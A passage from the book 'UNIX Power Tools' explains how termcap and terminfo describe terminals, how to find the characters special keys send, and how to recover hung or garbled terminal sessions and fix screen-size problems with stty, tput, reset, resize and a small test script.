is the termcap backspace capability, which means that the terminal will backspace when sent the CTRL-h (^H) character. There is no terminfo capability directly equivalent to bs, so it is considered obsolete by terminfo and by BSD 4.3 termcap. In place of the bs capability, terminfo would explicitly define CTRL-h as the string to send the cursor left cul1=^H).

am

am is the automargin capability, also known as wraparound. It means that when a line reaches the right edge of the screen, the terminal automatically continues on the next line.

The next two capabilities are numeric.

co#80
cols#80

says that the terminal has 80 columns.

li#24
lines#24

says that the terminal has 24 lines.

You will find that 80 characters and 24 lines is the most common screen size but that there are exceptions. Eighty characters was originally chosen because it is the width of a punch card, and 24 lines was chosen to take advantage of cheap television screen technology.

The remainder of the fields in the Wyse-50 entry contain string capabilities. The first four of these are fairly simple:

up=^K
cuu1=^K

is the up capability; it says that to move the cursor up one line, send the ^K character to the terminal.

cl=^Z
clear=^Z

is the clear capability; it says that to clear the screen, send the ^Z character to the terminal.

ho=^^
home=^^

is the home capability; it says that to move the cursor Home (upper-left corner), send the ^^ character (CTRL-^) to the terminal.

nd=^L
cuf1=^L

is the non-destructive space capability; it says that to move the cursor one space to the right without changing the text, send the ^L character to the terminal.

41.11.1 Special Character Codes

No doubt the symbols ^K, ^Z, ^^, and ^L shown above are familiar to you. A caret (^) followed by a letter is a convention for representing an unprintable control character generated by holding down the CONTROL (CTRL) key on the keyboard while typing another. Note that control characters are entered into a terminal description as two characters by typing the caret character (^) followed by a letter, rather than by inserting the actual control character.

Both termcap and terminfo use other codes to write other unprintable characters, as well as characters that have special meaning in termcap or terminfo syntax. The other codes, most of which should be familiar to C programmers, are listed in Table 41.1.

Table 41.1: Termcap and Terminfo Special Character Codes
Code | Description | Comment
\E | escape | termcap and terminfo
\e | escape | terminfo only
^x | control-x | where x is any letter
\n | newline |
\r | return |
\t | tab |
\b | backspace |
\f | formfeed |
\s | space | terminfo only
\l | linefeed | terminfo only
\xxx | octal value of xxx | must be three characters
\041 | exclamation point ! | C shell history uses !
\072 | the character : | termcap uses ordinary : as separator
\200 | null | \\000 for null does not work
\0 | null | terminfo only
\^ | caret | terminfo only
\\ | backslash | terminfo only
\, | comma | terminfo only
\: | colon | terminfo only

41.11.2 Encoding Arguments

The last capability in the Wyse-50 example is the most complicated. cm= (termcap) and cup= (terminfo) specify the cursor motion capability, which describes how to move the cursor directly to a specific location. Since the desired location is specified by the program at run-time, the capability must provide some mechanism for encoding arguments. The program uses this description to figure out what string it needs to send to move the cursor to the desired location.

Because we aren't telling you how to write termcap or terminfo entries, but just to read them, all you need to know is that the percent sign (%) is used for encoding, and when it appears in a terminal entry, the capability is using run-time parameters.

If you need to write an entry, see O'Reilly & Associates' termcap & terminfo.

- JS, TOR

Previous: 41.10 Using terminfo Capabilities in Shell Programs | UNIX Power Tools | Next: 41.12 Finding Out What Characters Your Terminal's Special Keys Send
41.10 Using terminfo Capabilities in Shell Programs | Book Index | 41.12 Finding Out What Characters Your Terminal's Special Keys Send
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 41] 41.12 Finding Out What Characters Your Terminal's Special Keys Send

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.11 How termcap and terminfo Describe Terminals Chapter 41
Terminal and Serial Line Settings 		Next: 42. Problems with Terminals

41.12 Finding Out What Characters Your Terminal's Special Keys Send

Sometimes, when writing vi keymaps (31.2, 31.13), you need to find out what characters are generated by labeled keys like arrows, HOME, and Function Keys.

If you have a terminal manual handy, the information should be listed somewhere in there. If not, you can read the termcap or terminfo entry (41.11). Unfortunately, not every entry is complete - a terminal may have capabilities that aren't described in its entry. In any event, if you don't know the syntax well, finding the right information can be difficult.

However, there are several online techniques for finding out what character is sent by a special key. Each has drawbacks, but between them, you can almost always find out what character a key generates.

  • Enter insert mode in vi and use the ^V control sequence (31.6) to quote each special key. That is, type CTRL-v followed by the key whose identity you are trying to discover. A printable representation of the key should appear on the screen.

    This will not work if the key generates a sequence containing more than one non-printing character, since ^V will only quote the first one. It also will not work for keys that generate a newline (such as the down-arrow key on the Wyse-50 keyboard)-but in such a case, the action of the key should be obvious.

  • At the command line, print:

    stty
    % stty -echo; cat -v; stty echo

    and then type the special keys, each followed by a carriage return. cat -v (25.7) will echo the translated version on the screen. When you are finished, type CTRL-d.

  • Simply type the special key at the shell prompt. As long as the key does not have a special meaning (for example, ^C to interrupt jobs or ^D for end of input), the command generated by the key will be executed on the terminal. Depending on the version of UNIX you use, a printable equivalent to the command generated by the key you pressed may also be printed as the command is executed. (Keep in mind that with full-duplex communications, characters are not sent from your keyboard directly to your terminal but are sent to the system and echoed back to the terminal.)

    On some systems, the control character is recognized on input and is echoed in two separate ways: as a printable representation of the control character (e.g., ^Z-literally, caret-Z) and as the actual control character. Other systems echo only the actual control character, which means that you see the effect but not the character that caused it.

    In either case, the shell will give an error message containing the character(s) typed as soon as you press RETURN. The message should read something like this:

    ^[[U : Command not found.

    If, on the other hand, the key generates a sequence that is meaningful to the device, some standard function, such as interrupt, end-of-file, or suspend, will be executed. You can find out what command invokes each of these functions using stty (41.3).

- JS, TOR

Previous: 41.11 How termcap and terminfo Describe Terminals | UNIX Power Tools | Next: 42. Problems with Terminals
41.11 How termcap and terminfo Describe Terminals | Book Index | 42. Problems with Terminals
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] Problems with Terminals

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 41.12 Finding Out What Characters Your Terminal's Special Keys Send Chapter 42 Next: 42.2 Fixing a Hung Terminal or Job

42. Problems with Terminals

Contents:
Making Sense Out of the Terminal Mess
Fixing a Hung Terminal or Job
Why Changing TERM Sometimes Doesn't Work
Checklist for Resetting a Messed Up Terminal
Checklist: Screen Size Messed Up?
Screen Size Testing Files
termtest: Send Repeated Characters to Terminal
Errors Erased Too Soon? Try These Workarounds

42.1 Making Sense Out of the Terminal Mess

When you're sitting in front of a terminal, it's sometimes hard to realize that you're face to face with about twenty-five years of accumulated history, with hack piled upon hack to deal with evolutions in hardware.

When you type at a terminal, you are really dealing with four things:

  1. The shell, utility, or application that interprets and responds to what you type.

  2. The UNIX kernel, or more specifically, the serial line driver, which may perform some low-level conversions on what you type before it's even passed to the program you think you're talking to.

  3. The terminal, which has behavior of its own - and may locally interpret or respond to some of what you type instead of, or as well as, passing it through to the system.

  4. The communication link between the terminal and the system.

Some of the confusion about UNIX terminal handling comes from the fact that there are mechanisms for dealing with each of these layers. Let's take the list in the reverse order this time:

  • Most ASCII terminals, or ttys, are connected to the system by a serial line-a set of up to 24 wires defined by the RS-232 standard. A remote terminal may be connected to a modem by a serial line; if this is the case, the computer too must be connected to a modem, and the two modems talk to each other over the telephone. Some serial line configuration happens at the hardware level. For example, not every cable includes every wire called for in the RS-232 standard, and both the terminal and the system or modem have to agree to such things as which one will talk over which wire. (Actually, both computer systems and terminals are quite stubborn about this; they have fixed ideas about which wire to talk on, and which to listen on, and if both want to use the same one, it's up to the system administrator to trick them by crossing the wires.)

    There's more to the communications link than just the wires, though. For example, both the terminal and the system or modem have to be configured to agree on such things as how many data bits make up a character (a byte is made up of eight bits, but ASCII characters only require seven), whether or not to use parity (a simple form of error checking), how to "frame" each character with "start" and "stop" bits, and how fast to communicate (the baud rate).

    All of these things are usually configured in advance - if they weren't, the system and terminal couldn't talk to each other. However, the stty command (41.2, 41.3) does let you change these parameters on the fly (at least on the system side - your terminal may have a setup key and a built-in setup menu). You'd better know what you're doing, though, or you may render your terminal and computer unable to communicate.

  • At least when UNIX started out, there were no standards for how terminals worked. A screen size of 24 lines and 80 columns became a (fairly) common denominator, but the special keys on terminal keyboards generate different characters, and each terminal might respond to different escape sequences (5.8) for moving the cursor around the screen, highlighting text in inverse video, underlining, and so on. The termcap and terminfo databases (5.2) were developed to make sense out of this babel. Once a terminal's characteristics are described in the database, a screen-oriented program like vi can look up the information it needs to clear the screen, move around, and so on. Programs like tset (5.11) and tput (5.12, 41.10) were created to read the terminal database and use the information it contains to issue commands (in the form of escape sequences) to the terminal. If you always use the same kind of terminal, you can configure your terminal by issuing the escape sequences directly (41.9). You don't need to look them up in the terminal database. (That's only important if you want a program or script to work with a variety of terminals.)

  • The serial line driver does various things to the characters it gets from the terminal. For example, in normal use, it changes the carriage return (ASCII character \015) generated by the RETURN key on your keyboard into a linefeed (ASCII character \012). Chris Torek talks about some of these conversions in article 41.2. For the most part, unless you are a programmer or a system administrator, you don't need to know a whole lot about all of the possibilities - but you do need to know that they are configurable, and that stty (41.3) is the program that reports (and changes (5.9)) the settings.

    Not all of the terminal driver settings are obscure. Some of them you use every day, and must be sure to set in your .login or .profile file (2.3). For example, how does the system know that you want to use CTRL-c to interrupt a program or CTRL-s to stop output, or CTRL-z to suspend execution? This happens at a level below even the shell - the shell never even sees these characters, because they are interpreted and acted on by the serial line driver. However, there are times when they aren't interpreted. Have you ever typed CTRL-z when you're in vi's insert mode? Instead of vi being suspended, the character is input. That's because vi needs to reset the serial driver to a different mode (41.2) so that it has control over which characters are echoed and which are interpreted as commands.

    All of this is by way of saying that there's an awful lot of complexity under the skin.

  • And, of course, as we've talked about at length in the discussion of wildcards and quoting (8.14), the shell may intercept and act on various characters before passing them on to another program.

The point of this long excursion is to suggest that when you are trying to figure out problems with terminals, you owe it to yourself to know about all the levels where the problems can occur. (For example, article 8.20 is about backslash handling.)

Are the terminal and computer system properly configured? Has the cable come loose? Is the terminal type set correctly so that programs know how to make that particular terminal do their bidding? Has an interrupted program sent out unfinished commands that left the terminal in an inconsistent or unusual state? Is it really a terminal problem, or is it just that things aren't working quite the way you expect?

- TOR

Previous: 41.12 Finding Out What Characters Your Terminal's Special Keys Send | UNIX Power Tools | Next: 42.2 Fixing a Hung Terminal or Job
41.12 Finding Out What Characters Your Terminal's Special Keys Send | Book Index | 42.2 Fixing a Hung Terminal or Job
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.2 Fixing a Hung Terminal or Job

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.1 Making Sense Out of the Terminal Mess Chapter 42
Problems with Terminals 		Next: 42.3 Why Changing TERM Sometimes Doesn't Work

42.2 Fixing a Hung Terminal or Job

Here are a lot of techniques for unlocking a locked-up terminal or window session.

42.2.1 Output Stopped?

If your terminal has a HOLD SCREEN or SCROLL LOCK button, did you accidentally press it? Try pressing it and see if things start working. If pressing the button once doesn't fix the problem, you should probably press it once more to undo the screen hold. Otherwise, you may lock up your session worse than it was before!

Another way to stop output is by pressing CTRL-s. The way to restart stopped output is with CTRL-q - try pressing that now. (Unlike a SCROLL LOCK button, though, if CTRL-q doesn't help, you don't need to undo it.)

42.2.2 Job Stopped?

If you have a shell prompt (7.1) instead of being in the program you thought you were running - and if your UNIX has job control - you may have stopped a job. Try the jobs command; if the job is stopped, restart it . (12.8)

42.2.3 Program Waiting for Input?

The program may be waiting for you to answer a question or type text to its standard input.

CAUTION: If the program you were running does something that's hard to undo-like removing files-don't try this step unless you've thought about it carefully.

If your system has job control, you can find out by putting the job in the background with CTRL-z and bg. If the job was waiting for input, you'll see the message:

[1]  + Stopped (tty input)  grep pat

You can bring the job back into the foreground and answer its question, if you know what that question is. Otherwise, now that the job is stopped, you can kill it. See the following directions.

On systems without job control, you may be able to satisfy the program by pressing [RETURN] or some other key that the program is expecting, like y or n. You could also try pressing [CTRL-d] or whatever your "end of input" character is set to. That might log you out, though, unless you've set the ignoreeof variable (3.5).

42.2.4 Stalled Data Connection?

If your terminal is hooked to a computer, modem, or network, be sure that the wires haven't come loose.

If you're using a modem and the modem has function lights, try pressing keys and see if the SD or Send Data light flashes. If it does, your terminal is sending data to the host computer. If the RD or Receive Data light flashes, the computer is sending data to your terminal-if you don't see anything, there might be something wrong on your terminal.

If you're connected with rlogin or telnet (1.33), the network to the remote computer might be down or be really slow. Try opening another connection to the same remote host-if you get a response like Connection timed out, you have two choices:

  1. Wait for your original connection to unfreeze. The connection may come back and let you keep working where you left off. Or the connection may end when rlogin or telnet notices the network problem.

  2. Quit the session and try later.

42.2.5 Aborting Programs

To abort a program, most users press CTRL-c. Your account may be set up to use a different interrupt character, like DELETE or RUBOUT. If these don't work, try CTRL-/ (CTRL-backslash). Under most circumstances, this will force the program to terminate. Otherwise, do the following:

  1. Log in at another terminal or window.

  2. Enter the command ps -x. On System V, use ps -u yourname, where yourname is your UNIX username. This displays a list of the programs you are running, something like this:

    % ps -x
PID     TTY     STAT    TIME    COMMAND
163     i26     I       0:41    -csh (csh)
8532    i26     TW      2:17    vi ts.ms
22202   i26     S       12:50   vi UNIXintro.ms
8963    pb      R       0:00    ps -x
24077   pb      S       0:05    -bin/csh (csh)
%

  3. Search through this list to find the command that has backfired. Note the process identification (PID) number for this command.

  4. Enter the command kill PID (38.10), where PID is the identification number from the previous step. If that doesn't work, try kill -1 PID to send a HUP signal. You may need kill -9, but try the other kills first.

  5. If the UNIX shell prompt (like % or $) has appeared at your original terminal, things are probably back to normal. You may still have to take the terminal out of a strange mode (42.4) though.

    If the shell prompt hasn't come back, find the shell associated with your terminal (identified by a tty number) and kill it. The command name for the C shell is csh. For the Bourne shell, it is sh. In most cases, this will destroy any other commands running from your terminal. Be sure to kill the shell on your own terminal, not the terminal you borrowed to enter these commands. The tty you borrowed is the one running ps; look at the example above and check the TTY column. In this case, the borrowed terminal is TTYpb.

    Check ps to ensure that your shell has died. If it is still there, take more drastic action with the command kill -9 PID.

  6. Run ps -x again to be sure that all processes on the other tty have died. (In some cases, processes will remain.) If there are still processes on the other tty, kill them.

  7. At this point, you should be able to log in again from your own terminal.

The ps (38.5) command, which lists all the programs you are running, also gives you useful information about the status of each program and the amount of CPU time it has consumed. Note that ps lists all the programs you are running, including programs you may not know about (e.g., programs that other programs execute automatically).

- JP, ML

Previous: 42.1 Making Sense Out of the Terminal Mess | UNIX Power Tools | Next: 42.3 Why Changing TERM Sometimes Doesn't Work
42.1 Making Sense Out of the Terminal Mess | Book Index | 42.3 Why Changing TERM Sometimes Doesn't Work
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.3 Why Changing TERM Sometimes Doesn't Work

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.2 Fixing a Hung Terminal or Job Chapter 42
Problems with Terminals 		Next: 42.4 Checklist for Resetting a Messed Up Terminal

42.3 Why Changing TERM Sometimes Doesn't Work

The use of tset to set the TERMCAP environmentvariable (5.4) can cause problems for new users who do not understand it completely. For example, as long as the TERMCAP variable is not set, programs look by default in /etc/termcap. However, once the TERMCAP variable contains the actual termcap entry, changing the value of TERM will no longer have any effect on a program like vi.

If you set the value of TERM correctly but vi or other programs that depend on TERM still do not seem to work, check (6.1) that TERMCAP is not set to the actual termcap entry (41.11). You can clear this condition with the command:

% unsetenv TERMCAP

or:

$ TERMCAP=

or:

$ unset TERMCAP        (newer Bourne shells)

- TOR

Previous: 42.2 Fixing a Hung Terminal or Job | UNIX Power Tools | Next: 42.4 Checklist for Resetting a Messed Up Terminal
42.2 Fixing a Hung Terminal or Job | Book Index | 42.4 Checklist for Resetting a Messed Up Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.4 Checklist for Resetting a Messed Up Terminal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.3 Why Changing TERM Sometimes Doesn't Work Chapter 42
Problems with Terminals 		Next: 42.5 Checklist: Screen Size Messed Up?

42.4 Checklist for Resetting a Messed Up Terminal

Gremlins (like line noise on a modem, a bug in a program, a really long line of output, non-printable characters in a file you cat to your screen, etc.) can sneak into your system somewhere and mess up your terminal screen or window. The screen could have a bunch of flashing junk, the character set could turn into hieroglyphics, words could start coming out underlined or in inverse video, the line could lock up... well, there are lots of possibilities.

Here's a rough list of things to try. This might be worth reading through right now. Some things in here need to be ready before your terminal locks up.

  • If you can get to a shell prompt (% or $), the first command you should try is probably:

    clear
tput
    % clear   systems with termcap
% tput clear   systems with terminfo

    That will try to erase the screen and may also cancel other problems like inverse video.

  • If running clear doesn't clear up your screen completely and your terminal has a setup menu, look for a "clear screen" function and try it. (If you don't know how your terminal's setup mode works, find the manual or find an expert. Write down the steps and keep them close to your terminal.)

  • If you have a shell prompt and you're on a system using terminfo, try these commands. Don't use tput init unless tput reset doesn't fix things:

    % tput reset
% tput init

    If you're using a termcap system, there's no command quite like those two. You can simulate them by making an alias (10.2) that runs the tset (5.4) command from your login setup files. (Why not do it now, for the next time you get into this mess?) Here's a simple alias:

    alias newterm 'set noglob; eval `tset -srQ \!*`; unset noglob'

    The tset command usually sends resetting or initialization commands to your terminal.

  • If every character you type shows up on a different line, characters don't appear as you type them, a RETURN does nothing or prints a ^M on your screen, the backspace, interrupt, and kill keys don't work, or lines

    jump down
          the screen
                     like this

    you've probably got trouble with the settings of your port (UNIX terminal device). One of the following commands can make your terminal usable. It might not be set up the way you're used to, but at least you'll be able to log out and log in again:

    % reset
% [CTRL-j] reset [CTRL-j]
% stty sane
%  [CTRL-j] stty sane [CTRL-j]

    (If your terminal has a [LINEFEED] key, you can use it instead of [CTRL-j].)

    If the system says that those commands don't exist or are an "unknown mode," you should make yourself an alias (10.2), shell function (10.9), or shell script (44.2) that executes an stty command similar to the one below. The exact parameters you use will depend on your normal UNIX setup:

    stty echo -nl -cbreak

    Call it something like sane. You may need to execute it by typing LINEFEED or CTRL-j before and after.

    If that doesn't work perfectly, here's what to do. The next time you log in and your screen works just right, typing stty everything or stty -g (see below) should help you decide exactly what parameters to use in your sane command.

  • If the system seems to treat every character you type as a separate command (and you may not be able to see the characters you type):

    % reset
r: Command not found.
: No previous regular expression
: No current filename
: No lines in the bufferq
%

    (It actually doesn't look quite like that, but the first e started the editor named e. The s, e, and t are all read as commands by e. You have to quit e by typing its q command. Sheesh!)

    You should make a shell function or alias - or, put a symbolic link (18.4) or shell script in your bin directory (4.2)- that lets you run the command from the previous step (reset, stty sane, etc.) by typing a single character. I picked ] (right square bracket) as the name of mine. To make mine, I made a symlink in my bin:

    % ln -s /usr/ucb/reset ]

    (Your system's reset command may have a different pathname.) Now, to fix a goofed-up terminal, I just type a ] at a shell prompt (it may need a LINEFEED or CTRL-j before and after).

  • Best of all, if your system has the command stty -g, you can use it to save your favorite terminal settings in a file. Then, when your terminal is goofed up, read those settings in again from the file. Here's how. First, when your terminal is working just the way you want it, type:

    % stty -g >$HOME/.stty

    Then make your alias, shell script, or shell function named sane, ], etc. (previously explained) that runs the command:

    % stty `cat $HOME/.stty`

    This should restore your terminal the way it was when you first ran the stty -g command.

    If your system doesn't have stty -g, you can fake it. Run the command stty everything or stty -a and look at the settings:

    % stty everything
speed 38400 baud, 0 rows, 0 columns
parenb -parodd cs7 -cstopb -hupcl cread -clocal -crtscts
-ignbrk brkint ignpar -parmrk -inpck istrip -inlcr -igncr icrnl -iuclc
ixon -ixany -ixoff imaxbel
isig iexten icanon -xcase echo echoe echok -echonl -noflsh -tostop
echoctl -echoprt echoke
opost -olcuc onlcr -ocrnl -onocr -onlret -ofill -ofdel -tabs
erase  kill  werase rprnt  flush  lnext   susp   intr   quit  stop   eof
^?     ^U     ^W     ^R     ^O     ^V     ^Z/^Y  ^C     ^\   ^S/^Q  ^D

    Then check your stty manual page and read about those settings (some of them, like the parity settings, might not be appropriate for all your login sessions). Put the settings in your sane or ] command:

    stty icanon echo erase '^?' kill '^u' ...

    Note that if you use several different terminals, each may have different settings. Make yourself several sane commands; you might select one automatically as you log in (2.12).

If worse comes to worst, try the steps from article 42.2. Find another place to log in to your account. Run ps to find your processes on the hung-up terminal or window and kill them. Then turn off the terminal or close the window and log in again. (If you didn't have a way to kill the processes before you logged in again, be sure to kill your old processes right away after you log in.)

- JP

Previous: 42.3 Why Changing TERM Sometimes Doesn't Work | UNIX Power Tools | Next: 42.5 Checklist: Screen Size Messed Up?
42.3 Why Changing TERM Sometimes Doesn't Work | Book Index | 42.5 Checklist: Screen Size Messed Up?
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.5 Checklist: Screen Size Messed Up?

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.4 Checklist for Resetting a Messed Up Terminal Chapter 42
Problems with Terminals 		Next: 42.6 Screen Size Testing Files

42.5 Checklist: Screen Size Messed Up?

The termcap and terminfo (5.2) systems used to be the only place where the size of your terminal screen (number of lines and characters) was set. These days, screen-oriented commands like vi and more on most UNIXes need to work with window systems. Users can shrink or stretch their windows without changing the termcap or terminfo definition. Depending on the command and version of UNIX you're using, you can run into window-size problems even if you aren't using a window system.

Window systems don't cause all the problems though. "Classic" problems, such as files with lines that are longer than the terminal is wide, were around before UNIX did windows.

Here's a checklist of things to try. Once you figure out what's wrong and how to fix it on your terminal and version of UNIX, you'll probably be able to fix problems with other programs you run.

  • Displaying or editing a file with lines longer than the screen is wide can cause strange problems if everything isn't set up right. There are two places that may try to split a line into pieces when it thinks that the line is too long. The problem, of course, is when these don't work together or one of them has a wrong idea about the line length:

    • Your terminal or window may be set to autowrap lines that would cross the right edge: The line is broken and the rest is shown beginning at the left margin on the next line below.

    • If you use a screen-oriented program like vi or more, they may wrap long lines. The termcap and terminfo definitions tell screen-oriented programs whether to wrap lines. (For more information, see O'Reilly & Associates' termcap & terminfo.)

    To find out what your terminal is doing, display a file with long lines like longlines (42.6). The cat (25.2) and head (25.20) programs don't use termcap or terminfo-they spit the file directly to your screen. So, for example, a single 200-character line from longlines should be shown as three lines on an 80-column screen. You shouldn't lose any of the characters at either side. Two lines would look like this:

    % head -2 longlines
1  45678901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234567890
1234567890123456789012345678901234567890
2  45678901234567890123456789012345678901234567890123456789012345678901234567890
12345678901234567890123456789012345678901234567890123456789012345678901234567890
1234567890123456789012345678901234567890

    If you see only two "chopped" lines, your terminal isn't wrapping lines. You may want to go into its setup mode and enable line-wrapping. If you do though, be sure that your termcap/terminfo definition lists the terminal as autowrapping. If your terminal autowraps but the termcap/terminfo definition doesn't say that, screen-oriented applications may try to wrap lines for you. Exactly what happens depends on the application you're using and your terminal. One common problem is that the screen may look double-spaced - each part of a single long line that's "wrapped" has a blank line after it. For instance, the longlines file might look like this:

    1  4567890123456789012345678901234567890123456789012345678901234567890123
1234567890123456789012345678901234567890123456789012345678901234567890123
1234567890123456789012345678901234567890
   ...

    In that case, both the terminal and the application are probably trying to wrap the lines for you. Usually, then, the application won't know exactly how many lines your terminal is displaying and will send twice as many lines as your screen can show. What a mess! Try to use another value of the TERM (5.10) environment variable that defines your terminal as autowrapping. These can have names that end with am or aw, like vt100aw. Or, if you want to dig in, it's not too hard to adapt your own termcap or terminfo definition from the standard system file. For more information, see article 41.11 or O'Reilly & Associates' termcap & terminfo.

  • Your screen can be mixed up when a full-screen application-a pager like pg, for example - is displaying the standard output of some program. The program writes some messages to its standard error. These extra lines aren't counted by the application, but they show on your screen. If the application has a redraw screen command like CTRL-l you may be able to get a fresh copy of the lines from standard output. Or, you can pipe both stdout and stderr to the pager (13.4).

  • Some applications let you set their screen size in a configuration file or environment variable. For example, Berkeley mail (mailx (1.33) on System V) has a screen variable that might be set in its .mailrc file or in a system file like /usr/lib/Mail.rc. The vi editor has a window variable that might be set in your .exrc (4.9) file.

    Unless you set those variables correctly for all the terminals you use, you'll usually be better off to let the application set its own window size.

  • Your version of UNIX may keep the screen size as part of the device settings. To find out, type the command:

    % stty size
24 80

    (If that doesn't work, try stty -a; look for rows = and columns = in the output.) The command shows that UNIX thinks your screen has 24 lines and 80 columns. Or, the screen size may be stored in environment variables called COLUMNS and LINES:

    env egrep

    % env | egrep '(COLUMNS|LINES)='
COLUMNS=80
LINES=24

    If the current settings don't match your screen size (42.6) you can change the screen size settings. See the suggestions below.

  • If UNIX doesn't know your screen size and your system has the stty size command, you can use stty to change the settings. For example, if your window has 43 rows and 80 columns, type:

    % stty rows 43 columns 80

    If applications are using the COLUMNS and LINES environment variables, just reset them (6.1).

    NOTE: Any jobs that are stopped or in the background when you change the screen size may not work anymore because they'll still have the old window size. If that's a problem, quit and restart the applications or send them a SIGWINCH signal (below).

  • If you're running xterm in the X Window System (1.31), use resize. It asks your xterm to report (silently) on how big the window is now, then it resets the stty parameters or environment variables, depending on which your system needs. When it sets environment variables, resize needs to give commands to the shell. In the C shell, type:

    eval
    % set noglob; eval `resize`

    (You don't need to use unset noglob (6.9) because resize outputs that command.) In the Bourne shell,

    $ eval `resize`

    Both of these are easier to use if you define an alias (10.2) or a shell function (10.9) named something like rs:

    alias rs 'set noglob; eval `resize`'
rs() { eval `/usr/bin/X11/resize`; }

  • In UNIXes that store the window size as part of the device settings (not in environment variables), here's another thing you can do. First, use stty to set the right sizes (see above). Then send a SIGWINCH (window changed) signal to the shell and/or job that has a wrong idea of the window size:

    % kill -WINCH $$    Send signal to the shell
% kill -WINCH %1    Send signal to job 1

  • In some window systems, you can make your window a little taller or shorter. That will reset things.

  • You're using the telnet (1.33) command to log in to a remote machine. You didn't have trouble with the window size on your local machine - what's wrong? telnet probably didn't pass your correct window size to the remote host. If both the local and remote machines support rlogin (1.33), use it instead. Otherwise, use one of the tips above to set the window size on the remote system.

- JP

Previous: 42.4 Checklist for Resetting a Messed Up Terminal | UNIX Power Tools | Next: 42.6 Screen Size Testing Files
42.4 Checklist for Resetting a Messed Up Terminal | Book Index | 42.6 Screen Size Testing Files
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.6 Screen Size Testing Files

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.5 Checklist: Screen Size Messed Up? Chapter 42
Problems with Terminals 		Next: 42.7 termtest: Send Repeated Characters to Terminal

42.6 Screen Size Testing Files

How many lines and columns are there on your screen or window? The answer can be important to some programs (42.5). I've got a directory named testing_files with a few files I've developed to test and set screen sizes.

42.6.1 Single Line Screen Width: 80cols

80cols
 The 80cols file has a line of 80 numbers. I use it to see if the window has exactly 80 columns, as in Figure 42.1.

Figure 42.1: The 80cols File

The pattern repeats every ten characters, making it easy to count how many columns the window has.

Some UNIX programs are set for 80-column screens - even if you can make wider windows, you may not want to. If you want other widths, you can make cols files for them, too.

42.6.2 Screen Width and Height: screensize

screensize
 The screensize file has 69 lines of numbers, starting at 69 and ending at 1. Type cat screensize. As shown in Figure 42.2, when the file has all been displayed, count the number of lines filled on the screen.

Figure 42.2: Checking Window Height and Width with screensize

In Figure 2, the top number is 9. So, the window has 10 lines (counting the prompt on the last line).

The screensize file is also handy with a full-screen application like more (25.3) to see if the right number of lines and columns are displayed. When more shows the first screenful, the line labeled 69 should be at the top of the screen (the command line might be displayed above it). The last line should have the prompt, like --More--. When you ask for the next screenful, you should see the next consecutive line at the top of the screen, maybe with a line or two from the previous screen.

The same thing should work with editors like vi.

42.6.3 Set Width, Test Line Wrapping: longlines

longlines
 The file longlines in Figure 42.3 is like screensize, but the 200-character lines in it are too long for most screens. You can use it for two things: to adjust windows to a particular sizeand to see if long-line wrapping is working right . (42.5) This figure shows an example with the GNU Emacs editor, which shows a backslash (\) at the end of every line it wraps.

Figure 42.3: Using longlines File with the Emacs Editor

On an 80-column screen, if line wrapping is working right, each line of longlines should take exactly two and one-half lines to display. (If you're using Emacs, remember that because it adds a backslash at the line break, the third part of each line will have two more characters.) As the previous figure shows, there shouldn't be any missing numbers or blank lines.

If you're using a windowing system like X (1.31), look for a resize or window info function. For example, in the X Window System, the twm window manager will show a small box with the window dimensions as you hold down the mouse button to resize a window. You don't have to resize the window; just look at the size-box. The X command xwininfo gives lots of information-including the window size in pixels.

- JP

Previous: 42.5 Checklist: Screen Size Messed Up? | UNIX Power Tools | Next: 42.7 termtest: Send Repeated Characters to Terminal
42.5 Checklist: Screen Size Messed Up? | Book Index | 42.7 termtest: Send Repeated Characters to Terminal
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 42] 42.7 termtest: Send Repeated Characters to Terminal

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: 42.6 Screen Size Testing Files Chapter 42
Problems with Terminals 		Next: 42.8 Errors Erased Too Soon? Try These Workarounds

42.7 termtest: Send Repeated Characters to Terminal

This script uses the yes (23.4) command to send 79-character lines of columns to the terminal over and over, as fast as possible. It's been useful for me when I'm looking for dropped characters, dialup noise, and other problems on a terminal or connection. The -b (blanks) option sends a screen full of space characters with an asterisk (*) in column 77-watching this column is an easy way to look for added or dropped characters without distractions. Use your interrupt key (5.9) (like CTRL-c) to kill the script when you're done.

The two yes command lines that follow have been broken into two pieces for printing. You should enter them all on one line.

exec

#! /bin/sh
# USE yes PROGRAM TO PRINT CHARACTER STRINGS FOREVER:
case "$1" in
"") exec yes '()*+,-./ 01234567 89:;<=>? @ABCDEFG
HIJKLMNO PQRSTUVW XYZ[\]^_ `abcdefg hijklmn' ;;
-b) exec yes '
                                        *' ;;
*)  echo "Usage: `basename $0` [-b]" 1>&2; exit 1;;
esac

